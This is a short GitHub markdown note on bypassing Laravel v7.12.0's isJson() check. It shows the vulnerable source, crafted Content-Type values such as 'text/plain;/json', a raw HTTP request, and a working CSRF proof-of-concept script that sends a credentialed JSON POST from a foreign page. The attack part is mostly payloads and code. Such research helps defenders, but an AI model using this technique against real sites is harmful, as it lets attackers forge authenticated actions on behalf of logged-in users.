Skip to content

Latest commit

 

History

History
executable file
·
46 lines (39 loc) · 1 KB

Laravel.md

File metadata and controls

executable file
·
46 lines (39 loc) · 1 KB

Laravel v7.12.0

Endpoint

public function test(Request $request) {
  if($request->isJson()) {
    $data = $request->json();

Source code (/laravel/framework/src/Illuminate/Http/Concerns/InteractsWithContentTypes.php)

public function isJson()
{
  return Str::contains($this->header('CONTENT_TYPE'), ['/json', '+json']);

JSON Content-Type

XXX;/json
XXX;+json

HTTP Request

POST /json HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded;+json
Content-Length: 13

{"test":true}

CSRF PoC

<script>
  fetch('http://localhost/json',{
    method:'POST',
    headers:{'Content-Type':'text/plain;/json'},
    body:'{"test":true}',
    credentials: 'include'
  });
</script>

Multipart Content-Type
Same as PHP